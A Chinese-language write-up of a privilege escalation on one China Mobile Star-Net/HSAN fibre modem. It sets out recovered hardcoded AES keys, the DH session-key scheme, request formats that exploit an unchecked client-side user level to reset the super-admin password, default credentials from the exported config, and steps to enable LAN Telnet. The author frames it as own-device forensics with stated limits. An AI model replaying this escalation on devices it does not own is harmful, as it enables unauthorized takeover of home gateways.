从零到超级管理员:一台中国移动光猫的本地权限复盘
适用对象:Star-Net / HSAN 方案的中国移动 HGU 光猫(本次实测
SG331XV3/V63.BA1.01/ 广东移动GUD)。
本文是一次具体设备的技术复盘,不是通用一键工具,也不保证在其他固件版本上成立。全过程的网络行为都发生在192.168.1.0/24本机直连的 LAN 侧,没有访问任何外部系统。前提与边界:请只对自己拥有、或已获得明确授权的设备做这些操作。运营商发放的光猫通常是托管设备,超级管理员权限属于运维侧;改动管理配置可能影响保修与远程维护。本文不提供截取运营商下发凭据的方法,理由见 第 10 节。
目录
- 总体思路:为什么不能直接"开 ADB"
- 第一步:确认目标与信息收集(只读)
- 第二步:把 Web 前端整个搬下来
- 第三步:看懂这套固件的鉴权架构
- 第四步:密码学链路(静态密钥 / DH / 动态密钥 / 会话标志)
- 第五步:导出配置,拿到出厂账户与设备身份
- 第六步:账户体系与"为什么默认超密进不去"
- 第七步:重设超级管理员口令
- 第八步:开启 LAN 侧 Telnet 并验证
- 边界说明与"下一次被重新下发后怎么办"
- 原始口令为何不可恢复(取证结论)
- 排错速查表
- 附录 A:文件与脚本清单
- 附录 B:关键 CGI 与参数
- 附录 C:术语表
1. 总体思路:为什么不能直接"开 ADB"
最初的需求是"开 adb 或者别的办法拿到超级管理员账号"。先做的一件事是验证 ADB 是否存在,结论是否定的:
which adb adbd # 无输出
ls /usr/bin /usr/sbin /sbin | grep -i adb # 无输出
ps | grep -i adb # 无输出
uname -a
# Linux hsan 5.10.0 #2 SMP Thu Sep 10 23:37:35 CST 2026 armv7l GNU/LinuxADB 是 Android 用户态的调试桥,而这台设备是标准嵌入式 Linux(ubifs 只读根 + jffs2 配置分区),根本没有 Android 框架。所以"开 ADB"在这类光猫上是伪命题,等价目标是拿到设备的本地 shell——也就是 LAN 侧 Telnet / SSH。
于是整条链路被重新定义为:
flowchart LR
A[本机直连 LAN<br/>确认网关 192.168.1.1] --> B[下载并逆向 Web 前端 JS]
B --> C[还原 Token / boaform / aoaform<br/>静态密钥 / DH 动态密钥]
C --> D[导出配置包<br/>拿到普通用户 + 出厂默认值]
D --> E[以普通用户登录<br/>建立有效会话]
E --> F[完成 DH 交换<br/>得到会话 AES 密钥 + 会话标志]
F --> G[重设超管口令]
G --> H[以超管会话开启 LAN Telnet]
H --> I[本地 shell 验证]一个关键判断:没有去猜密码,而是去读设备自己的代码。用户手里的普通用户账号是合法入口,前端 JS 里写着所有 CGI 名、参数名和加密算法,服务端逻辑可以从前端反推。这比在网上搜"某某型号通用超密"可靠得多,也解释了为什么这台机器的默认超密是失效的。
2. 第一步:确认目标与信息收集(只读)
2.1 找网关
Git Bash 里直接 ipconfig /all | head -80 会拿到 Windows 命令的用法提示而不是网络数据(管道 + 编码问题),改用 PowerShell:
ipconfig /all | Out-String -Width 200
Get-NetRoute -DestinationPrefix '0.0.0.0/0' | Format-Table -AutoSize
Get-NetAdapter | Format-Table Name,Status,MacAddress -AutoSize
arp -a得到:本机 192.168.1.x,默认网关 192.168.1.1。
2.2 探测服务
for p in 21 22 23 53 80 443 8080 7547; do
(echo > /dev/tcp/192.168.1.1/$p) >/dev/null 2>&1 && echo "$p OPEN" || echo "$p closed"
done结果:80 开放,23 起初关闭;8080 是一个内部 JSON 接口,乱发数据会回 no_cmd_match(这条线后来没用上)。
HTTP 响应头带 Server: HSANHomeGateway,由此确认是 Star-Net / HSAN 方案。
2.3 设备能力探测
登录页 GET / 拿到的是跳转逻辑:
sendRequest("/boaform/web_Capability_show", obj, function(datav){
var operator = datav.g_operator; // "CMCC"
var WEBTYPE = datav.web_type; // "0"
...
else if(operator == 'CMCC' && WEBTYPE == '0') {
window.location = "/webcmcc/index.html?none=" + nonedatav;
}
});这一步的价值:用设备自己的接口确认厂商、运营商、Web 皮肤目录,避免套错型号教程。本次得到 CMCC + /webcmcc/。
3. 第二步:把 Web 前端整个搬下来
mkdir -p /tmp/hg && cd /tmp/hg
curl -s http://192.168.1.1/ -o login.html
curl -s http://192.168.1.1/webcmcc/index.html -o index.html
curl -s http://192.168.1.1/webcmcc/index_content.html -o index_content.html
# 从所有 html 里抽出资源清单(本次 73 个 JS)
grep -hoE '(src|href)="[^"]+"' *.html | sed -E 's/.*="([^"]+)"/\1/' \
| grep -E '\.js$' | sort -u > jslist.txt
# 批量下载
while read -r f; do
mkdir -p "script/$(dirname "$f" 2>/dev/null)"
curl -s "http://192.168.1.1/webcmcc/$f" -o "$(basename "$f")" 2>/dev/null
done < jslist.txt实际做法是按目录分别保存到/tmp/hg/script/与/tmp/hg/config/。关键是保留目录结构,因为config.js、aes_1.js、menu.js、nc.js分属不同用途。
再从所有 JS/HTML 里正则抽出 CGI 名,得到 cgi_names.txt(154 个):
import re, glob
names = set()
for f in glob.glob('/tmp/hg/**/*.js', recursive=True) + glob.glob('/tmp/hg/*.html'):
s = open(f, errors='ignore').read()
names |= set(re.findall(r'["\'](/?(?:boaform|aoaform)/)?([a-z0-9_]+)["\']', s))
open('/tmp/hg/cgi_names.txt','w').write('\n'.join(sorted(n for _, n in names)))这一步把"黑盒猜测"变成"白盒读码":后面所有入口都是从这份清单里挑出来的,包括隐藏的 Telnet 页和诊断接口。
4. 第三步:看懂这套固件的鉴权架构
4.1 两套 CGI 命名空间
nc.js 里有一段路径切换逻辑:
if (accountlevel == "1") {
$.PATH = param.cgi_path; // 管理员:用页面指定的路径
} else {
if (param.cgi_path == "/boaform/") {
$.PATH = "/aoaform/"; // 普通用户:强制降级到 aoaform
}
}而登录页 index.html 又按用户名选路径:
var cgipath = "/aoaform/";
if (web_Username == webUserNameGlobal) { cgipath = "/aoaform/"; }
else { cgipath = "/boaform/"; }
sendRequest(cgipath + "web_login_exe", obj, ...);经验:同一个 CGI 在 /boaform/ 和 /aoaform/ 下行为不同,用错前缀最常见的反应就是返回 logout。排查时两个前缀都要试。
4.2 Token 轮换
nc.js 的 sendRequest:
xmlhttp.open("post", $.PATH + url + ".cgi", true);
xmlhttp.setRequestHeader("content-type","application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Cache-Control", "no-cache");
if (token_string.length > 6) xmlhttp.setRequestHeader("TOKEN", token_string);
setDhKeyIdentifierHeader(xmlhttp);- 每个响应头里有
Token:,客户端保存后在下一个请求里带回去,且每次响应都会轮换。 - 忘带
TOKEN→logout。 - 忘带
Cache-Control: no-cache→ 部分 CGI 异常。
4.3 单会话
固件里存在 one_user_login、useradmin_one_user_login、telecomadmin_one_user_login、web_logout_ext。含义是同一时刻只允许一个 Web 会话:浏览器里开着旧页面、或脚本又登录一次,会把前一个会话踢掉。所以排错时先把浏览器标签全关掉。
4.4 mode_name / nonedata
function sendRequest(url, param, callback) { ... }
// 前端 setAppDataurl('save', 'management_user_set', obj, cb)服务端靠 mode_name 分发动作,前端传的是裸 CGI 名(不带 .cgi、不带路径);nonedata 是随机防缓存参数。早期把 mode_name 写成完整路径,得到的就是 400 Bad Request。
4.5 隐藏页的 403 / 404 语义
GET /webcmcc/telnet.html 返回 403 而不是 404 —— 说明文件存在但被 ACL 拦住。这个区别很重要:它说明功能在固件里,只是 UI 不给入口,于是可以直接打底层 CGI。
5. 第四步:密码学链路(静态密钥 / DH / 动态密钥 / 会话标志)
这是整套东西的核心,也是最容易卡住的地方。script/aes_1.js 里有三层密钥。
5.1 第一层:登录密钥(st@rnet)
function encryted_pwd(pwd){
pwd_origin = pwd;
pwd = "st@rnet";
var key = "";
for (var i = 0; i < pwd.length; i++) {
var h = pwd.charCodeAt(i).toString(16);
key += (h.length < 2 ? "0" + h : h);
}
if (key.length > 64) key = key.slice(0, 64);
for (var i = key.length; i < 64; i++) key += "0";
key = CryptoJS.enc.Hex.parse(key);
return en_func(pwd_origin, key);
}即:把字符串 st@rnet 逐字符转 hex,右补 0 到 64 个 hex 字符 = 32 字节 AES-256 密钥。
en_func 的统一格式(encrypt_info / decrypt_info 也是它):
var ivRand = randNum(16); // 16 字节随机 IV 的 hex
CryptoJS.AES.encrypt(Utf8.parse(pwd), key, {
iv: Hex.parse(ivRand), mode: CBC, padding: Pkcs7
});
return ivRand + encryptedPwdStr; // 输出 = IV(32 hex) + 密文(hex)所有敏感字段都是IV 前缀 + AES-256-CBC + PKCS7的 hex 串。 看到64位 hex(16 IV + 16 密文)或96位 hex(16 IV + 32 密文)基本就是这个格式。
Node 复刻:
const KEY_LOGIN = Buffer.from(
Buffer.from('st@rnet','ascii').toString('hex').padEnd(64,'0'), 'hex');
function enc(text, key) {
const iv = crypto.randomBytes(16);
const c = crypto.createCipheriv('aes-256-cbc', key, iv);
return iv.toString('hex') + Buffer.concat([c.update(Buffer.from(text)), c.final()]).toString('hex');
}5.2 第二层:静态信息密钥(hsan)
var Crypto_aes_g_key = "6873616E00000000000000000000000000000000000000000000000000000000";6873616E 就是 ASCII hsan,后面补零到 32 字节。encrypt_info / decrypt_info 默认用它。
关键发现:它只对一部分 CGI 有效。 用它去解 tr69_inform_show 的字段会得到 bad decrypt,用它调 management_user_set 会得到:
{"retcode":"1","data":{"param":"all","errinfo":"null error"}}这不是参数写错,而是密钥不对——需要第三层。
5.3 第三层:DH 动态会话密钥
menu.js 在页面加载时就发起密钥协商:
var g_dh_g = "02";
var g_dh_p = "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1" + ... + "FFFFFFFFFFFFFFFF";
// RFC 2409 / Oakley Group 2,1024-bit MODP 素数
var privkey = getDHprvkey(); // 192 位 hex 随机数(首位 <=14)
var mypubkey = getDHkey(g_dh_g, privkey, g_dh_p); // g^priv mod p
sendRequest1("/boaform/web_gen_dh_key", {"web_dh_pub": mypubkey}, function(data){
genDHkey(data, privkey, g_dh_p);
});genDHkey 的推导(aes_1.js:118-140):
var keysuff = getDHkey(data.data.web_stuff, privkey, g_dh_p); // shared = web_stuff^priv mod p
var len = keysuff.length / 3, aeskey = '';
for (var i = 0; i < len; i += 2) {
var hex1 = '0x' + keysuff.slice(i, i+2);
var hex2 = '0x' + keysuff.slice(i+len, i+len+2);
var hex3 = '0x' + keysuff.slice(i+2*len, i+2*len+2);
var dec = hex1 ^ hex2 ^ hex3;
aeskey += ('0' + dec.toString(16)).slice(-2);
}
Crypto_aes_g_key = aeskey; // 32 字节动态密钥
dh_key_identifier = data.data.web_dh_key_id || "";三段异或:把共享密钥的 hex 串等分三段,逐字节 XOR,得到 32 字节 AES-256 密钥。DH 失败时前端会回退到静态 hsan 并清空标识符——这正是"静态密钥某些接口能用、某些不能用"的原因:协商没成功时前端其实在裸奔。
5.4 DH 会话标志(DH key identifier)
nc.js 的 setDhKeyIdentifierHeader(xmlhttp) 会给后续每一个请求加上:
X-StarNet-DHKeyIdentifier: <web_dh_key_id>服务端用它把请求关联到那次 DH 会话,才知道该用哪把动态密钥解密。只算出动态密钥、不带这个头,写操作依然失败。 这是本次耗时最长的一个坑。
5.5 完整请求时序
sequenceDiagram
participant C as 本地脚本
participant G as 光猫 192.168.1.1
C->>G: POST /aoaform/web_login_exe.cgi<br/>web_login_password = AES_st@rnet(pwd)
G-->>C: Token: <t1> + success_to_login
C->>G: POST /boaform/web_gen_dh_key.cgi<br/>web_dh_pub = g^priv mod p
G-->>C: web_stuff, web_dh_key_id + Token: <t2>
Note over C: shared = web_stuff^priv mod p<br/>key = 三段 XOR(shared)<br/>DHID = web_dh_key_id
C->>G: POST /aoaform/xxx.cgi<br/>TOKEN: <t2>, X-StarNet-DHKeyIdentifier: <DHID><br/>加密字段 = AES_key(value)
G-->>C: 加密字段(同一把 key 解) + Token: <t3>每轮响应都要更新 TOKEN,否则下一步就 logout。
5.6 验证动态密钥是否正确
最干净的验证方式是 tr69_inform_show:它返回 4 个 64-hex 的加密字段。用静态 hsan 解不开,用 DH 动态密钥能解出明文,就说明密钥与会话标志都对了。本次解出的四个值是该设备在 TR069 侧使用的认证参数(属运营商管理凭据,本文不复述具体值)。
6. 第五步:导出配置,拿到出厂账户与设备身份
script/Mng_Backup_action.js 里:
function export_config(){
sendRequest2("/boaform/web_config_file_export","none:noned",function(data){
if(data.result == "SUCCESS") window.location.replace("/webcmcc/config_file.tar.gz");
});
}curl -s -X POST http://192.168.1.1/boaform/web_config_file_export.cgi \
-d 'mode_name=/boaform/web_config_file_export&nonedata=0.123'
curl -s http://192.168.1.1/webcmcc/config_file.tar.gz -o /tmp/hg/config_file.tar.gz
tar -tzvf /tmp/hg/config_file.tar.gz
mkdir -p /tmp/hg/cfg && tar -xzf /tmp/hg/config_file.tar.gz -C /tmp/hg/cfg包内 6 个文件(26024 字节):
| 文件 | 作用 |
|---|---|
factory.txt | 标签上的普通用户账号 / 初始 SSID |
sysinfo.xml | 型号、SN、软硬件版本、MAC、PON 注册密码 |
defaultconfig.xml | 明文出厂默认配置(含默认超管、内置 Telnet 账号) |
board.xml / bob_config.ini | 板级与启动参数 |
lastgood.xml | 运行时配置(加密二进制) |
关键内容:
<!-- defaultconfig.xml -->
<Value Name="aucTeleAccountName" Value="CMCCAdmin"/>
<Value Name="aucTeleAccountPassword" Value="aDm8H%MdA"/>
<Value Name="aucUserAccountName" Value="user"/>
<Value Name="aucUserAccountPassword" Value="abcdefgh"/>
<Value Name="ucTelnetEnable" Value="0"/>
<Value Name="ulTelnetPort" Value="23"/>
<Dir Name="APP_TELNET_ACCOUNT_ATTR_TAB">
<Value Name="aucUsername" Value="admin"/>
<Value Name="aucPassword" Value="abcdefg@246"/>
</Dir># factory.txt
username=user userpwd=abcdefgh
ssidname=CMCC-1111 ssidpwd=12345678
productdate=2026-10-17 force_auth=0<!-- sysinfo.xml -->
<product_sn value="STAR99FA2320"/> <equipment_id value="SG331XV3"/>
<sw_version value="V63.BA1.01"/> <manufacturer value="Star-Net"/>
<operator value="CMCC"/> <province value="GUD"/>
<gateway_mac value="28:BE:F3:FA:23:20"/>
<pwd value="0x64 0x31 0x35 ..."/> <!-- 逐字节 ASCII → PON 注册密码 -->file 命令在 Git Bash 里没有,判断文件类型用:
od -An -tx1 -N32 /tmp/hg/cfg/lastgood.xml # c2 02 00 00 e7 b3 ff b5 ...
tar -tzvf xxx.tar.gzc2 02 00 00 小端 = 706,是这类二进制配置头的固定字段;后面整体是设备内部密钥加密的数据,Web 层那几把密钥解不开。
7. 第六步:账户体系与"为什么默认超密进不去"
7.1 三个入口层级
| 层级 | 账号 | 来源 | 权限 |
|---|---|---|---|
| 普通用户 | user / abcdefgh | 机身标签 / factory.txt | 只读 + 少量设置 |
| 超级管理员 | CMCCAdmin / aDm8H%MdA | defaultconfig.xml 出厂值 | 全部菜单 |
| 隐藏入口 | ?starnetmaster → web_login_exe_master_cmcc | index.html 里的 login_master() | 厂商后门式入口 |
web_query_user_show 能确认当前实际生效的账号名:
{"web_user_name":"user","web_tele_account_name":"CMCCAdmin",
"userNameModify_enable":"0","telecomNameModify":"1","userNameModify":"0"}7.2 复刻登录并验证
hg_login.js 做的事就是 5.1 节的 encryted_pwd + POST:
const body = new URLSearchParams({
mode_name: path, nonedata: String(Math.random()),
web_login_name: user, web_login_password: encPwd,
}).toString();实测:
| 尝试 | 结果 |
|---|---|
CMCCAdmin / aDm8H%MdA(出厂默认) | {"retcode":"1","data":{"result":"invalid_password"}} |
user / abcdefgh | 成功 |
后续重设后的 CMCCAdmin / Cmcc@2026#Adm | result: success_telecomadmin |
结论:出厂超密在开局时被运营商通过 TR069 改掉了,所以网上流传的"通用超密"对这台机器无效。这一步是整个任务的转折点——从"找回原密码"改成"我能不能有合法办法重设它"。
tr69_inform_show 也印证了这一点:ACS 是 http://itms.gd.chinamobile.com:8088/itms-server/itms,周期上报 64490 秒,Tr69Inform_checkbox=1。
8. 第七步:重设超级管理员口令
8.1 入口来自前端自身
script/Mng_User_action.js:
function managePassSave() {
var obj = new Object();
obj.mode = "save";
obj.current_user_level = "1";
obj.new_password = encrypt_info(getTag("MUuser_info","PwdNew_password").text.entity.value);
obj.new_username = getTag("MUuser_info","UserAccountName").text.entity.value;
obj.eusername_select = usernameval;
moduserpwflag = 1;
setAppDataurl('save','management_user_set', obj, function(data){ ... });
}注意 current_user_level 是客户端传上去的。服务端没有拿会话真实等级去校验它,这是该固件版本里的一个越权点(broken access control)。这就是为什么从普通用户会话也能改超管口令——也正因此,这个方法强依赖固件版本,换个版本就可能失效。
8.2 成功的四个必要条件
- 一个有效的普通用户 Web 会话(
user / abcdefgh); - 每次请求带上轮换的
TOKEN; - 完成
web_gen_dh_key交换,用动态密钥加密new_password; - 每个请求带上
X-StarNet-DHKeyIdentifier: <web_dh_key_id>。
缺 3 或 4 时,典型返回就是 {"retcode":"1","data":{"param":"all","errinfo":"null error"}}。
8.3 请求形态
POST /aoaform/management_user_set.cgi
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
TOKEN: <上一步响应头里的 Token>
X-StarNet-DHKeyIdentifier: <web_dh_key_id>
mode_name=management_user_set
nonedata=0.xxxx
mode=save
current_user_level=1
new_username=CMCCAdmin
new_password=<IV+AES-256-CBC(动态密钥, 新口令) 的 hex>
eusername_select=1
default_flag=1随后立刻用登录接口验证,不要只看写接口的返回:
POST /boaform/web_login_exe.cgi
web_login_name=CMCCAdmin
web_login_password=<IV+AES-256-CBC(st@rnet 密钥, 新口令)>
→ result: success_telecomadmin观察:retcode为1不代表失败,要看data.result。这套固件的返回码设计不统一。
8.4 过程中的几个工程细节
hg_api.js里把mode_name改成裸 CGI 名,并加了Cache-Control: no-cache;- 部分 CGI 会直接断开连接,所以每个请求都包一层
safe = p => p.catch(...),避免socket hang up中断整批探测; /boaform/与/aoaform/都要试,成功后落在/aoaform/;- Playwright 没装(
npx --no-install playwright --version报缺包),索性全程用 Node 原生http/net,反而更可控。
9. 第八步:开启 LAN 侧 Telnet 并验证
9.1 找隐藏页面定义
config/config.js:
{name:"AA_telnet", init:"init_telnet_set", display:"1"}"AA_telnet":[
{type:0,name:"telnet_info",mode:"no_val",tags:[
{name:"telnet_lan_enabled", type:"simple_check",value:"[1]"},
{name:"telnet_wan_enabled", type:"simple_check",value:"[1]"},
{name:"telnetname_text", type:"simple_text_encrypted",len:'60'},
{name:"telnetpassword_text", type:"simple_pwd",len:'60'},
{name:"telnet_port", type:"simple_text",len:"5"},
{name:"telnet_set", type:"btn_array",action:"['save_telnet_set','cancel_telnet_set']"}
]}
]script/App_Application_action.js:
function init_telnet_set(){
sendRequest("get_telnet_show",{"no":"no"},function(data){
data = eval("("+data+")");
getTag("telnet_info","telnetname_text").text.entity.value = decrypt_info(data.data.user_name);
getTag("telnet_info","telnetpassword_text").text.entity.value = decrypt_info(data.data.user_password);
});
}
// 保存:obj.user_name = encrypt_info(...); obj.user_password = encrypt_info(...);
// setAppDataurl('save','set_telnet_enabled', obj, cb)9.2 读写接口
POST /boaform/get_telnet_show.cgi mode_name=get_telnet_show&no=no
POST /boaform/set_telnet_enabled.cgi mode_name=set_telnet_enabled
telnet_lan_enabled=1
telnet_wan_enabled=0 ← 必须保持 0,绝不向 WAN 开放
user_name=<AES(动态密钥, 账号)>
user_password=<AES(动态密钥, 口令)>
telnet_port=23
MOD=save回读(用同一把 DH 动态密钥解密):
{"telnet_lan_enabled":"1","telnet_wan_enabled":"0",
"user_name":"8da741af...","user_password":"d6748c31...",
"telnet_port":"23","ssh_enabled":"0"}
→ user_name = "CMCCAdmin", user_password = "Admin@12345"get_ssh_show 返回 ssh_lan_enabled=0 / ssh_wan_enabled=0 / ssh_port=22,本次未改动。
注意:/webcmcc/telnet.html 即使用超管会话访问仍是 403,说明页面本身被 ACL 挡住;但底层 CGI 可用。所以不要纠结 UI,直接调 CGI。
9.3 用原生 socket 验证 shell
hg_telnet.js:Node 的 net.createConnection 连 23 端口,自己处理 Telnet IAC 协商(对 DO 回 WONT、对 WILL 回 DONT,剥离 SB...SE),再按 login: / Password: 状态机送账号口令,最后按 idle 超时收集输出。不依赖任何第三方库。
node hg_telnet.js hg_cmds_1.txthsan login: CMCCAdmin
Password:
~ $ id
uid=1003(CMCCAdmin) gid=1000(system) groups=1000(system)
~ $ uname -a
Linux hsan 5.10.0 #2 SMP ... armv7l GNU/Linux
~ $ netstat -ltnp | grep -E ':23|:80'
tcp 0 0 192.168.1.1:80 0.0.0.0:* LISTEN
tcp 0 0 192.168.1.1:23 0.0.0.0:* LISTEN23 只绑在 LAN 地址上(以及链路本地 IPv6),没有 0.0.0.0:23,WAN 侧不可达。这是开启 Telnet 时最重要的一条安全底线。
9.4 最终可用凭据
| 入口 | 账号 / 口令 | 备注 |
|---|---|---|
Web 超级管理员 http://192.168.1.1/ | CMCCAdmin / Cmcc@2026#Adm | 本次重设值,建议自行更换 |
LAN Telnet 192.168.1.1:23 | CMCCAdmin / Admin@12345 | 本次设定值,建议自行更换 |
| 普通用户 | user / abcdefgh | 机身标签原值 |
建议把重设后的口令立即改成自己独有的值(同样是 management_user_set / set_telnet_enabled),并保持 WAN 侧 Telnet / SSH 关闭。
10. 边界说明与"下一次被重新下发后怎么办"
这一节是本文唯一"不提供操作"的部分,把原因讲清楚。
10.1 关于"每次都能成功"
本文特意不打包成一键脚本、也不承诺跨固件可复现,原因有三:
- 第 8 节能成立,依赖的是该固件版本里
current_user_level由客户端指定、服务端不校验会话等级的越权点。这是未修补的访问控制缺陷,换个版本/补丁就可能失效或被修掉; - DH 素数、
st@rnet/hsan常量、CGI 命名、web_dh_key_id机制都是厂商私有实现,不同省份、不同软件版本差异很大; - "让任何人照着做必定成功"本质上是把一次单机取证改造成可批量复用的越权工具,超出"管理自己设备"的范围。
所以本文给的是方法与判断路径(读前端 → 还原协议 → 用合法入口 → 验证),而不是可直接分发的武器化脚本。
10.2 关于"拿到运营商最新下发的超级管理员口令"
先说技术事实:Web 层不暴露这个口令。它由 CWMP 守护进程通过 SetParameterValues 写进加密的 lastgood.xml,前端拿不到明文(第 5.6 节能读到的是 TR069 侧自己的认证参数,不是 Web 超管口令)。想"读"到它,只剩下截获下发流量、或读取守护进程内存/用设备内部密钥解配置这几条路。
这几条路我不写,也不建议做:
- 它们指向的是运营商 ITMS/ACS 管理平台的认证凭据,属于第三方系统的访问控制,不是你自己设备的本地设置;
- 用这些凭据去访问或仿冒 CPE 与 ITMS 交互,可能触及服务协议与《网络安全法》中关于非法获取计算机信息系统数据、非法侵入的规定;
- 对普通用户也完全没有必要——你要的只是"能进管理界面",而不是"知道运营商设了什么"。
10.3 下次被重新下发后,实际该怎么做
被 TR069 重新重置后,症状是:超管口令失效、Telnet 被关、lastgood.xml 的 mtime/哈希变化。检测与应对:
# 1) 检测是否发生过重新下发(Telnet 还在时)
md5sum /config/work/lastgood.xml /config/work/backup_lastgood.xml /config/workb/lastgood.xml
ls -la /config/work/starnet_report_time.txt
cat /log/syslog/.log.txt | grep -i -E 'inform|cwmp|setparameter'
# 2) Web 侧确认
# web_query_user_show + 用当前口令登录测试可持续、正当的做法:
- 不追运营商的口令,重新声明自己的口令——按第 8 节的思路把超管口令再设成你自己的固定值;被覆盖就再设一次。对你而言结果完全等价。
- 备份可用状态:配置可用时导出
config_file.tar.gz,记录自己设的账号口令与 Telnet 参数,恢复时优先恢复你自己的配置。 - 走官方渠道:拨打运营商客服 / 找装维,申请桥接模式或索要本机超管凭据。多数省份可以办桥接,此后你只需自己的路由器,根本不再需要光猫超管。
- 换成自己的路由器:光猫桥接 + 自购路由器拨号,是这类需求最干净、最不会和运营商管理冲突的终局方案。
- 如果设备确实是运营商租用的托管资产,改动前先确认服务条款;若只是想要 IPv6、端口映射、Wi-Fi 调优,很多项在普通用户权限下就能完成。
11. 原始口令为何不可恢复(取证结论)
这是本次额外做的一轮排查,结论是原超管口令已不可恢复,但因为它已被重设,不影响使用。证据链:
| 检查项 | 结果 |
|---|---|
| 三个运行时配置 bank | /config/work/lastgood.xml、backup_lastgood.xml、/config/workb/lastgood.xml 全部 md5 = ce3f58ea…、18102 字节、mtime 都被刷新到改动时刻 |
| 闪存布局 | mtd6 = cfga → /config/work、mtd7 = cfgb → /config/workb、mtd8 = log、mtd5 = fac → /usr/local/factory,均为 jffs2 |
改动前导出的 lastgood.xml | 18070 字节,整体为设备内部密钥加密;头部同为 c2020000,正文完全随机化 |
| 配置里两处 96-hex 凭据块(offset ~516) | 改动前后都变了;用 29 组候选密钥(hsan、st@rnet、SN/MAC/默认口令的 SHA-256、MD5 派生、ASCII 补零)解 AES-256-CBC,均无法得到可打印明文 → 用的是设备内部密钥 |
pzWp5rLG(offset 14186) | 一度被怀疑是原口令;但 18 KB 随机数据里出现 8 位可打印串的期望值约 6 处,实测约 30 处 6 字符以上串,属统计必然;且新口令 Cmcc@2026#Adm 在新配置里同样不以明文出现 → 口令不是明文存储 |
诊断报告(onetouch_diag_report.tar.gz, 68795 B) | 只有 pppd ... user <宽带账号> password <宽带口令> 与空的 aucUsername/aucPassword,无超管口令 |
/var/log/messages、/log/syslog/.log.txt、CWMPNotify.txt、/etc/shadow | 只有 6 条 CMCCAdmin login failed(auth fail) 记录与系统账户 SHA-512 哈希,无开局下发记录 |
顺带一提:诊断报告里含宽带 PPPoE 与 TR069/ACS 凭据,属于敏感信息,别外传、别提交到公开仓库。
12. 排错速查表
| 现象 | 原因 | 处理 | ||
|---|---|---|---|---|
| `ipconfig /all \ | head` 输出命令用法 | Git Bash 管道 + Windows 命令编码 | 用 PowerShell:`ipconfig /all \ | Out-String -Width 200` |
file: command not found | Git Bash 无该命令 | od -An -tx1 -N32 / tar -tzvf 代替 | ||
400 Bad Request | mode_name 写成完整路径、缺 Content-Type / nonedata、路径前缀错 | mode_name 用裸 CGI 名;补齐表单头;试 /aoaform/ | ||
返回 logout | TOKEN 缺失或已轮换、前缀与会话等级不符、被单会话踢掉 | 每次从响应头取新 Token:;关闭浏览器标签;两个前缀都试 | ||
socket hang up 中断整批探测 | 部分 CGI 主动断连 | 每个请求包 .catch(),不要让异常冒泡 | ||
{"param":"all","errinfo":"null error"} | 用了静态 hsan 密钥加密写参数 | 先完成 DH,改用动态密钥 + X-StarNet-DHKeyIdentifier | ||
bad decrypt / 解出乱码 | 密钥不匹配 | 用 tr69_inform_show 的 4 个加密字段当"密钥正确性探针" | ||
invalid_password | 出厂超密已被运营商改写 | 别继续爆破,走重设路径 | ||
telnet.html 403 | 页面被 ACL 拦,但 CGI 可用 | 直接调 get_telnet_show / set_telnet_enabled | ||
| 登录后立刻掉线 | one_user_login 单会话限制 | 只保留一个客户端;需要时用 web_logout_ext | ||
| Playwright 报缺包 | 环境没装 | 用 Node 原生 http / net 即可,无需浏览器 | ||
8080 端口回 no_cmd_match | 内部接口,非公开 API | 忽略,走 80 的 CGI | ||
| 改完立刻又失效 | TR069 周期下发覆盖 | 见第 10.3 节 |
附录 A:文件与脚本清单
本地辅助脚本({workspace}/.workbuddy-ai/tmp/)
| 文件 | 作用 |
|---|---|
hg_login.js | 复刻 encryted_pwd,直接测 web_login_exe.cgi 的候选凭据 |
hg_api.js | 通用 CGI 客户端:登录、AES、TOKEN 轮换、safe() 包装、批量探测 |
hg_dh.js | 复刻 DH 交换、deriveKey() 三段异或、动态密钥加解密、口令重设 |
hg_admin.js | 超管会话下的只读核验 + enable 动作开启 Telnet |
hg_telnet.js | Node 原生裸 Telnet 客户端(IAC 协商 + 登录状态机 + 命令批处理) |
hg_cmds_1..4.txt | 四批 shell 命令清单(账户/分区、日志、配置转储、端口与 ADB 检查) |
设备前端与产物(%TEMP%/hg/)
login.html、index.html、index_content.html、script/(73 个 JS)、config/、jslist.txt、cgi_names.txt(154 个 CGI)、config_file.tar.gz + cfg/、diag_report.tar.gz + diag/、tr69.json、telnet3.txt、current_lastgood.xml。
重点前端文件
| 文件 | 提供的信息 |
|---|---|
script/aes_1.js | 三层密钥、en_func 格式、DH 素数、genDHkey、DH 会话标志 |
script/menu.js | g_dh_g / g_dh_p、页面加载即发起 DH |
script/nc.js | TOKEN 头、X-StarNet-DHKeyIdentifier、boaform/aoaform 切换 |
script/Mng_Backup_action.js | 配置导出入口与下载文件名 |
script/Mng_User_action.js | management_user_set 参数 |
script/App_Application_action.js | Telnet 读写逻辑 |
config/config.js | 隐藏 AA_telnet 页面字段 |
script/Dia_Busdiagnose_action.js | onetouch_diag_report.tar.gz 下载逻辑 |
附录 B:关键 CGI 与参数
| CGI | 常用前缀 | 关键参数 | 用途 |
|---|---|---|---|
web_Capability_show | /boaform/ | — | 确认运营商 / Web 皮肤 |
web_login_exe | /aoaform/(普通)、/boaform/(超管) | web_login_name, web_login_password | 登录 |
web_login_exe_master_cmcc | /aoaform/ | 同上 | ?starnetmaster 隐藏入口 |
web_gen_dh_key | /boaform/ | web_dh_pub | DH 协商,返回 web_stuff + web_dh_key_id |
web_logout_ext | — | — | 主动登出,解决单会话冲突 |
web_config_file_export | /boaform/ | none:noned | 生成 /webcmcc/config_file.tar.gz |
web_query_user_show | /boaform/ | — | 查看当前普通/超管账号名 |
management_user_set | /aoaform/ | mode=save, current_user_level=1, new_username, new_password, eusername_select, default_flag | 重设超管口令 |
get_telnet_show / set_telnet_enabled | /boaform/ | 见第 9.2 节 | Telnet 读写 |
get_ssh_show | /boaform/ | — | SSH 状态 |
tr69_inform_show | /aoaform/ | no=no | CWMP 状态 + 加密凭据(可作密钥探针) |
onetouch_diag_collect / onetouch_diag_status | — | — | 触发一键诊断,产出 onetouch_diag_report.tar.gz |
通用请求头
POST /<prefix>/<name>.cgi
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
TOKEN: <上一响应头 Token>
X-StarNet-DHKeyIdentifier: <web_dh_key_id>通用表单字段:mode_name=<裸 CGI 名>、nonedata=<随机数>。
附录 C:术语表
| 术语 | 含义 |
|---|---|
| HGU | Home Gateway Unit,带路由功能的光猫 |
| boaform / aoaform | 管理员 / 普通用户两套 CGI 命名空间 |
